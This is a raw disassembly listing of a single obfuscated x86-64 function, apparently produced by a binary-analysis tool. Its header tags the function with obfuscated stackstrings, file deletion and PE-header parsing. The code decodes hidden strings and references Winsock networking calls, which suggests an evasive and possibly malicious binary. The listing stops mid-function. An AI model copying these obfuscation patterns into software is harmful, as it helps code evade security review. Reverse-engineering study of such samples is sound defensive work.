Function at 0x140213750
Capabilities:
Contain obfuscated stackstrings
Delete file
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x390]
sub rsp, 0x490
mov dword [rbp - 0x70], 0x1c050c38
mov dword [rbp - 0x6c], 0x1b1a183f
mov dword [rbp - 0x68], 0x36334654
mov dword [rbp - 0x64], 0x13173358
mov dword [rbp - 0x60], 0xe2f43619
mov dword [rbp - 0x5c], 0xffe3b3e6
mov dword [rbp - 0x58], 0xc1b9a5e1
mov byte [rbp - 0x54], 0x88
xor eax, eax
mov qword [rbp - 0x53], rax
mov byte [rbp - 0x4b], al
movabs r13, 0x2a5983049d12b6ee
movabs r14, 0x7957bf60e2890186
movabs r15, 0xfe9a23814929533a
movabs r12, 0xa9e71d780f03e55e
movabs r10, 0x5534176ed4de7782
movzx r11d, byte [rbp + 0x3c0]
nop
mov r8, qword [0x1404e35f8]
mov r9, qword [0x1404e35f0]
nop
xor edi, edi
cmp rdi, 0x26
jae 0x1402143c2
movzx ebx, byte [rbp + rdi - 0x70]
movzx esi, bl
cmp r8, rdi
ja 0x1402143b9
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140213840
lea rcx, [rdi + r13]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 0x7e
jmp 0x140213879
je 0x14021433a
inc rax
cmp r8, rax
je 0x1402142d9
lea rax, [r9 + 3]
cmp r8, rax
je 0x14021428e
lea rax, [r9 + 2]
cmp r8, rax
je 0x140214259
lea rax, [r9 + 5]
cmp r8, rax
je 0x140214204
movzx esi, bl
nop dword [rax]
cmp r9, rdi
ja 0x1402143b0
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x1402138ae
lea rdx, [rdi + r14]
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, sil
add r11b, dl
jmp 0x1402138f0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1402141f5
inc rax
cmp r8, rax
je 0x1402141d1
lea rax, [r9 + 3]
cmp r8, rax
je 0x1402141c4
lea rax, [r9 + 4]
cmp r8, rax
je 0x1402141a6
lea rax, [r9 + 6]
cmp r8, rax
je 0x140214188
nop
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140213eec
nop dword [rax]
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140213eda
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x140213eac
lea rax, [r9 + 1]
cmp r8, rax
je 0x140213e81
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x140213e5c
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140213e37
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140213e12
lea rax, [r9 + 2]
cmp r8, rax
je 0x140213ded
lea rax, [r9 + 4]
cmp r8, rax
je 0x140213dc8
lea rax, [r9 + 6]
cmp r8, rax
je 0x140213d95
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140213900
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 0x400]
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140214390
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x140214370
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140213af7
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140213ad8
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x140213ab9
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x140213d37
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x140213ce5
lea rax, [r9 + 2]
cmp r8, rax
jb 0x140213c99
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x140213c6c
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140213900
lea r8, [r9 + 0x80]
lea r9, [r8 + 0x200]
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x140213c3d
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140213c19
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140213bf5
lea rax, [r9 + 9]
cmp r8, rax
ja 0x140213bd4
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x140213bb3
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x140213b8f
lea rcx, [r9 + 0x41]
cmp r8, rcx
ja 0x140213b68
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140213b3e
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x140213b16
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x140213900
mov r8, rcx
lea r9, [rcx + 0x5a]
jmp 0x140213900
lea rdx, [rdi + r15]
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, sil
add r11b, dl
jmp 0x1402138f0
lea rdx, [rdi + r12]
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, sil
add r11b, dl
jmp 0x140213880
lea rdx, [rdi + r10]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, sil
add r11b, dl
jmp 0x140213814
movabs rcx, 0xcabdfb0714480c30
add rcx, rdi
and bl, cl
add bl, bl
movzx r11d, sil
sub r11b, bl
sub r11b, 0x50
add r11b, cl
movzx r10d, dil
jmp 0x140214225
movabs rax, 0x760af4fdda229e54
add rax, rdi
and bl, al
add bl, bl
sub sil, bl
lea r11d, [rax + rsi]
sub r11b, 0x4c
inc r9
dec rdi
inc rdi
jmp 0x140213802
movabs rax, 0x2157eef49ffd3078
add rax, rdi
and bl, al
add bl, bl
sub sil, bl
lea r11d, [rax + rsi]
sub r11b, 0x48
dec rdi
inc rdi
jmp 0x140213802
movabs rcx, 0xcca4e8eb65d7c29c
add rcx, rdi
and bl, cl
add bl, bl
movzx r11d, sil
sub r11b, bl
sub r11b, 0x44
add r11b, cl
jmp 0x14021414e
movabs rax, 0x77f1e2e22bb254c0
add rax, rdi
and bl, al
add bl, bl
sub sil, bl
lea r11d, [rax + rsi]
sub r11b, 0x40
jmp 0x140214272
movabs rax, 0x233edcd8f18ce6e4
add rax, rdi
and bl, al
add bl, bl
sub sil, bl
lea r11d, [rax + rsi]
sub r11b, 0x3c
jmp 0x140214275
movabs rcx, 0xce8bd6cfb7677908
add rcx, rdi
and bl, cl
add bl, bl
movzx r11d, sil
sub r11b, bl
sub r11b, 0x38
add r11b, cl
jmp 0x1402142b4
movabs rcx, 0x79d8d0c67d420b2c
add rcx, rdi
and bl, cl
add bl, bl
movzx r11d, sil
sub r11b, bl
sub r11b, 0x34
add r11b, cl
jmp 0x1402142fc
movabs rax, 0x2525cabd431c9d50
add rax, rdi
and bl, al
add bl, bl
sub sil, bl
lea r11d, [rax + rsi]
sub r11b, 0x30
movzx eax, byte [rbp + rdi - 0x70]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140213802
movabs rcx, 0x51663ba631bf0aaa
add rcx, rdi
and bl, cl
mov eax, reloc.WLDAP32.dll_Ordinal_45
sub al, bl
lea r11d, [rax + rax]
add r11b, sil
add r11b, cl
mov byte [rbp + rdi - 0x70], r11b
inc rdi
jmp 0x140213802
movabs rdx, 0xfcb3359cf7999cce
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, sil
add r11b, dl
cmp r9, 0x61
jb 0x140213c8c
movzx r10d, dil
lea edx, [r10 - 0x2c]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x140214225
movabs rdx, 0xa8002f93bd742ef2
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, sil
add r11b, dl
cmp r8, 0x41
jae 0x140214137
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x14021407f
lea edx, [rdi + 0x3c]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140213cb9
movabs rdx, 0x534d298a834ec116
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, sil
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0x80
je 0x14021416d
lea rax, [r9 + 0x200]
cmp r8, rax
jbe 0x140213fde
lea edx, [rdi - 0x4a]
movzx eax, bl
and al, dl
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140213d05
movabs rcx, 0xd80e7c454f360924
add rcx, rdi
and bl, cl
mov eax, 2
sub al, bl
lea r11d, [rax + rax]
add r11b, sil
add r11b, cl
movzx eax, byte [rbp + rdi - 0x70]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140213802
movabs rcx, 0x835b763c15109b48
add rcx, rdi
and bl, cl
mov eax, 4
sub al, bl
lea r11d, [rax + rax]
add r11b, sil
add r11b, cl
jmp 0x1402142fc
movabs rcx, 0x2ea87032daeb2d6c
add rcx, rdi
and bl, cl
mov eax, 6
sub al, bl
lea r11d, [rax + rax]
add r11b, sil
add r11b, cl
jmp 0x1402142b4
movabs rcx, 0xd9f56a29a0c5bf90
add rcx, rdi
and bl, cl
mov eax, 8
sub al, bl
lea r11d, [rax + rax]
add r11b, sil
add r11b, cl
jmp 0x140214275
movabs rcx, 0x8542642066a051b4
add rcx, rdi
and bl, cl
mov eax, 0xa
sub al, bl
lea r11d, [rax + rax]
add r11b, sil
add r11b, cl
jmp 0x140214272
movabs rcx, 0x308f5e172c7ae3d8
add rcx, rdi
and bl, cl
mov eax, ntohl
sub al, bl
lea r11d, [rax + rax]
add r11b, sil
add r11b, cl
jmp 0x14021414e
movabs rcx, 0xdbdc580df25575fc
add rcx, rdi
and bl, cl
mov eax, reloc.WS2_32.dll_ntohl
sub al, bl
lea r11d, [rax + rax]
add r11b, sil
add r11b, cl
dec rdi
inc rdi
jmp 0x140213802
movabs rcx, 0x87295204b8300820
add rcx, rdi
and bl, cl
mov eax, reloc.WS2_32.dll_recv
sub al, bl
lea r11d, [rax + rax]
add r11b, sil
add r11b, cl
inc r9
dec rdi
inc rdi
jmp 0x140213802
movzx r10d, dil
lea edx, [r10 + 0x44]
mov ecx, reloc.WS2_32.dll_select
jmp 0x140214214
lea rax, [r9 + 0x1000]
cmp r8, rax
jae 0x140213f13
lea edx, [rdi - 0x12]
movzx eax, bl
and al, dl
mov ecx, 0x3f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140213d57
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140213f43
lea ecx, [rdi + 0xc]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x54
movzx eax, byte [rbp + rdi - 0x70]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140213802
inc rax
cmp r8, rax
jne 0x140213f68
lea edx, [rdi - 0x3c]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x5c
add r11b, dl
jmp 0x1402142b4
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140213f8a
lea ecx, [rdi + 0x7c]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x64
jmp 0x140214272
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140213fb2
lea ecx, [rdi + 0x34]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x6c
dec rdi
inc rdi
jmp 0x140213802
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140213d5a
movzx r10d, dil
lea edx, [r10 - 0x14]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x74
jmp 0x140214222
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140213ff9
movzx r10d, dil
lea edx, [r10 - 0x6e]
mov ecx, 1
jmp 0x140214214
inc rax
cmp r8, rax
jne 0x140214023
lea ecx, [rdi + 0x6e]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 2
inc r9
dec rdi
inc rdi
jmp 0x140213802
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14021404b
lea ecx, [rdi + 0x4a]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 6
dec rdi
inc rdi
jmp 0x140213802
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140213d08
lea ecx, [rdi + 0x72]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x1e
movzx eax, byte [rbp + rdi - 0x70]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140213802
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1402140b4
lea edx, [rdi + 0x18]
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi - 0x70]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140213802
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1402140ca
lea edx, [rdi - 0x78]
mov ecx, 0x24
jmp 0x140214261
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1402140eb
lea edx, [rdi + 0x64]
movzx eax, bl
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14021414b
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140214118
lea edx, [rdi + 0x40]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x140213802
lea rax, [r9 + 8]
cmp r8, rax
jne 0x140213cbc
movzx r10d, dil
lea edx, [r10 - 8]
mov ecx, Ordinal_32
jmp 0x140214214
lea edx, [rdi - 0x50]
movzx eax, bl
and al, dl
movzx ecx, bl
sub cl, al
add cl, 0x18
lea r11d, [rcx + rcx]
add r11b, dl
lea ecx, [rdi - 0x62]
movzx eax, cl
and al, sil
add al, al
sub cl, al
sub cl, 0x52
add cl, sil
add cl, r11b
mov byte [rbp + rdi - 0x70], cl
jmp 0x140214272
lea edx, [rdi - 0x74]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1402142b4
lea edx, [rdi - 0x76]
movzx eax, bl
and al, dl
mov ecx, Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1402142b4
lea edx, [rdi - 0x52]
movzx eax, bl
and al, dl
mov ecx, Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140214275
lea edx, [rdi - 0x2e]
mov ecx, reloc.WLDAP32.dll_Ordinal_33
jmp 0x140214261
lea edx, [rdi + 0x1a]
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x140213802
movzx r10d, dil
lea edx, [r10 + 0x62]
mov ecx, reloc.WLDAP32.dll_Ordinal_41
jmp 0x140214214
movzx r10d, dil
lea edx, [r10 - 0x56]
mov ecx, reloc.WLDAP32.dll_Ordinal_45
movzx esi, bl
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
sub r10b, 0x3e
movzx eax, r10b
and al, sil
add al, al
sub r10b, al
sub r10b, 0x4e
add r10b, sil
mov byte [rbp + rdi - 0x70], r10b
movabs r10, 0x5534176ed4de7782
inc r9
dec rdi
inc rdi
jmp 0x140213802
lea edx, [rdi + 0x3a]
mov ecx, gethostname
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140213802
movabs rcx, 0x287295204b830082
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, reloc.WS2_32.dll_gethostname
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
add r11b, bl
movzx esi, bl
lea ecx, [rdi + 0x7a]
movzx eax, cl
and al, sil
add al, al
sub cl, al
sub cl, 0x56
add cl, sil
movzx eax, cl
mov byte [rbp + rdi - 0x70], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x1402142fc
movabs rcx, 0xd3bf8f17115d92a6
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, Ordinal_60
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
add r11b, sil
lea edx, [rdi + 0x68]
movzx eax, dl
and al, sil
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, dl
add cl, sil
mov byte [rbp + rdi - 0x70], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi - 0x70]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140213802
movabs rcx, 0x7f0c890dd73824ca
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, 0x3d
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
add r11b, sil
movzx eax, byte [rbp + rdi - 0x70]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140213802
sub dil, 0x5a
movzx eax, bl
and al, dil
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dil
jmp 0x140213800
sub dil, 0x36
movzx eax, bl
and al, dil
mov ecx, 0x3d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dil
jmp 0x1402137f0
lea rdx, [rbp + 0x152e778]
jmp 0x1402143c6
lea rdx, [rbp + 0x1659e66]
jmp 0x1402143c6
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0xf0]
call fcn.1400499a0
mov rcx, rax
call fcn.140218980
mov dword [rbp + 0xb0], 0xa8ae53ab
mov dword [rbp + 0xb4], 0x84928399
mov dword [rbp + 0xb8], 0xaca6828f
mov dword [rbp + 0xbc], 0x9a8a8e81
mov dword [rbp + 0xc0], 0xdf344a91
mov dword [rbp + 0xc4], 0xfdeff7e4
mov dword [rbp + 0xc8], 0xd7fdf3e1
mov dword [rbp + 0xcc], 0xfbf9f0ff
mov dword [rbp + 0xd0], 0xe420e0e9
mov word [rbp + 0xd4], 0xe6e9
mov byte [rbp + 0xd6], reloc.WLDAP32.dll_Ordinal_22
xorps xmm0, xmm0
movups xmmword [rbp + 0xd7], xmm0
movabs r14, 0x7ba86886fa28512e
movabs r15, 0x72f93994ee78f38a
movzx ebx, byte [rbp + 0x3c0]
nop dword [rax]
mov r8, qword [0x1404e35f8]
mov r9, qword [0x1404e35f0]
nop
xor edi, edi
cmp rdi, 0x37
jae 0x140214fc9
movzx r10d, byte [rbp + rdi + 0xb0]
mov esi, r10d
nop dword [rax + rax]
cmp r8, rdi
ja 0x140214fc0
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1402144cb
lea rcx, [rdi + r14]
mov rax, rsi
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rsi
add rbx, rcx
sub bl, 0x42
jmp 0x1402144f8
je 0x140214f4e
lea rax, [r9 + 3]
cmp r8, rax
je 0x140214f1b
lea rax, [r9 + 4]
cmp r8, rax
je 0x140214edc
lea rax, [r9 + 6]
cmp r8, rax
je 0x140214eb9
movzx r11d, dil
nop dword [rax]
cmp r9, rdi
ja 0x140214fb7
lea rcx, [r9 + 2]
cmp r8, rcx
jae 0x140214529
lea ecx, [r11 - 0x3a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x6a
jmp 0x140214570
lea rax, [r9 + 1]
cmp r8, rax
je 0x140214e71
inc rax
cmp r8, rax
je 0x140214e4b
lea rax, [r9 + 4]
cmp r8, rax
je 0x140214e2b
lea rax, [r9 + 5]
cmp r8, rax
je 0x140214e0b
cmp r8, rcx
je 0x140214dde
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140214ac2
nop dword [rax]
lea rcx, [r9 + 3]
cmp r8, rcx
je 0x140214aa8
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140214a7f
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140214a5d
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140214a41
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140214a25
lea rax, [r9 + 9]
cmp r8, rax
je 0x140214a05
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1402149eb
lea rax, [r9 + 5]
cmp r8, rax
je 0x1402149cb
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14021499e
lea rax, [r9 + 2]
cmp r8, rax
je 0x140214580
mov r8, rcx
lea r9, [rcx + 0x40]
lea rcx, [r9 + 0x42]
cmp r8, rcx
jb 0x140214f97
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x140214f7b
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140214769
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14021474d
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14021472f
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14021495b
lea rax, [r9 + 5]
cmp r8, rax
jb 0x140214914
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1402148d7
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1402148ad
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x140214580
mov r8, rcx
lea r9, [rcx + 0x5a]
lea rax, [r9 + 0x2a]
cmp rcx, rax
ja 0x140214880
lea rax, [r9 + 0x20]
cmp rcx, rax
ja 0x140214860
lea rax, [r9 + 0x7a]
cmp rcx, rax
ja 0x140214846
lea rax, [r9 + 9]
cmp rcx, rax
ja 0x140214826
lea rax, [r9 + 0x400]
cmp rcx, rax
ja 0x14021480a
lea rax, [r9 + 5]
cmp rcx, rax
ja 0x1402147ee
lea rax, [r9 + 0x80]
cmp rcx, rax
ja 0x1402147cc
lea rax, [r9 + 2]
cmp rcx, rax
ja 0x1402147a3
lea rax, [r9 + 0x40]
cmp rcx, rax
ja 0x140214789
lea rax, [r9 + 0x5a]
cmp rcx, rax
ja 0x140214580
lea r8, [r9 + 0xa]
lea r9, [r8 + 0x10]
jmp 0x140214580
lea edx, [r11 - 6]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x140214570
lea edx, [r11 - 0x62]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x52
add bl, dl
jmp 0x140214500
add r11b, 0x42
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1402144a0
lea edx, [r11 + 0x30]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x50
jmp 0x140214e88
sub r11b, 0x2c
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
inc r9
dec rdi
inc rdi
jmp 0x140214482
add r11b, 0x78
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x48
dec rdi
inc rdi
jmp 0x140214482
lea edx, [r11 + 0x1c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x140214ef5
sub r11b, 0x40
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x40
jmp 0x140214f33
add r11b, 0x64
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x140214f36
lea edx, [r11 + 8]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x38
jmp 0x140214d6b
sub r11b, 0x54
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x140214d9a
add r11b, 0x50
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x30
movzx eax, byte [rbp + rdi + 0xb0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140214482
add r11b, 0x6a
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
mov byte [rbp + rdi + 0xb0], bl
inc rdi
jmp 0x140214482
lea edx, [r11 + 0xe]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x62
add bl, dl
cmp r9, 0xa
jb 0x1402148c8
lea edx, [r11 + 0x54]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x140214e8a
lea edx, [r11 - 0x4e]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
cmp r8, 0x41
jae 0x140214d38
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x140214c57
lea edx, [r11 - 0x44]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x24
jmp 0x1402148ec
lea edx, [r11 + 0x56]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x5a
add bl, dl
lea rax, [r9 + r8]
cmp rax, 0x28
je 0x140214d53
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x140214bb9
lea edx, [r11 - 0xa]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
jmp 0x140214923
sub r11b, 0x5c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x7c
movzx eax, byte [rbp + rdi + 0xb0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140214482
add r11b, 0x48
movzx eax, r10b
and al, r11b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x140214d9a
lea edx, [r11 - 0x14]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x74
jmp 0x140214d6b
sub r11b, 0x70
movzx eax, r10b
and al, r11b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x140214f36
add r11b, 0x34
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x6c
jmp 0x140214f33
lea edx, [r11 - 0x28]
movzx eax, r10b
and al, dl
mov ecx, ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x140214ef5
add r11b, 0x7c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x64
dec rdi
inc rdi
jmp 0x140214482
add r11b, 0x20
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
inc r9
dec rdi
inc rdi
jmp 0x140214482
lea edx, [r11 - 0x3c]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x5c
jmp 0x140214e88
lea rax, [r9 + 0x28]
cmp r8, rax
jae 0x140214ae5
lea edx, [r11 + 0x2e]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x42
jmp 0x140214970
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140214b1f
sub r11b, 0x74
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, byte [rbp + rdi + 0xb0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140214482
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140214b44
lea edx, [r11 + 0x44]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x140214d6b
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140214b69
sub r11b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x60
jmp 0x140214f36
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140214b92
sub r11b, 4
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x140214f33
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140214972
lea edx, [r11 + 0x58]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
